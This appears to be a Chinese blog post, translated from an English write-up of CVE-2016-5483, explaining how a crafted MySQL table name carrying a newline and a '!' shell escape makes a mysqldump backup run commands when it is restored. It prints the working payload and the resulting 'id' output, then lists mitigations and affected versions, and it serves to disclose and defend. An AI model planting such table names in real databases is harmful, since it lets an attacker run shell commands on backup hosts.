[安全] mysqldump 备份的后门
时间:2022-05-07
本文章向大家介绍[安全] mysqldump 备份的后门,主要内容包括1. 简介、2. 实验、过程、3. 弥补方法、4. 小结、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。
1. 简介
mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句
而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令
2. 实验
场景假设
1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 Wordpress 等开源系统,就很有可能被黑客搞定
2)黑客具有 CREATE TABLE
权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行
GRANT ALL PRIVILEGES ON wordpress.*
3)使用 mysqldump 进行常规备份
4)黑客想要提升他们的权限,进而可以访问操作系统
过程
首先创建一个恶意表
CREATE TABLE `evil
! id
select user(),@@version/*` (test text);
之后使用 mysqldump 备份数据库
在正常情况下,dump 文件中应该是这样的结构
--
-- Table structure for table `tablename`
--
而现在则会变成这样
--
-- Table structure for table `evil
! id
select user(),@@version/*`
--
然后使用 dump 文件导入数据库
mysql test < test.dump
输出信息:
uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user() @@version
root@localhost 5.7.17-log
可以看到,已经成功执行了系统命令
3. 弥补方法
- 使用 mysqldump 时设置
--skip-comments
- 撤回建表权限
- 尽量只 dump 表数据
这个问题比较普遍,需要注意,涉及的数据库包括:
数据库 |
版本 |
---|---|
MySQL |
所有版本 |
MariaDB |
<= 5.5.52 且 < 10.1 |
Percona |
所有版本 |
4. 小结
本文翻译整理自
https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups
这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考
- MySQL 教程
- MySQL 安装
- MySQL 管理与配置
- MySQL PHP 语法
- MySQL 连接
- MySQL 创建数据库
- MySQL 删除数据库
- MySQL 选择数据库
- MySQL 数据类型
- MySQL 创建数据表
- MySQL 删除数据表
- MySQL 插入数据
- MySQL 查询数据
- MySQL where 子句
- MySQL UPDATE 查询
- MySQL DELETE 语句
- MySQL LIKE 子句
- mysql order by
- Mysql Join的使用
- MySQL NULL 值处理
- MySQL 正则表达式
- MySQL 事务
- MySQL ALTER命令
- MySQL 索引
- MySQL 临时表
- MySQL 复制表
- 查看MySQL 元数据
- MySQL 序列 AUTO_INCREMENT
- MySQL 处理重复数据
- MySQL 及 SQL 注入
- MySQL 导出数据
- MySQL 导入数据
- MYSQL 函数大全
- MySQL Group By 实例讲解
- MySQL Max()函数实例讲解
- mysql count函数实例
- MYSQL UNION和UNION ALL实例
- MySQL IN 用法
- MySQL between and 实例讲解
- 几行代码实现cookie的盗取
- 从apollo的初始化看spring boot 1.5.3启动过程( 一)
- CSRF(跨站请求伪造)学习总结
- windows mysql 8.0 ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost' (using password: NO)
- 树莓派基础实验9:蜂鸣器实验
- 浅谈文件上传漏洞(客户端JS检测绕过)
- java字符串操作:如何实现字符串的反转及替换?
- 树莓派基础实验10:干簧管传感器实验
- Java 字节流 字符流 io流
- 写一个函数,要求输入一个字符串和一个字符长度,对该字符串进行分 隔。
- 树莓派基础实验11:U型光电传感器实验
- java 缓冲流+原理图解
- 写一个函数,2 个参数,1 个字符串,1 个字节数,返回截取的字符串,要 求字符串中的中文不能出现乱码
- Java 编程,打印昨天的当前时刻.
- git merge后 丢失文件 以及 代码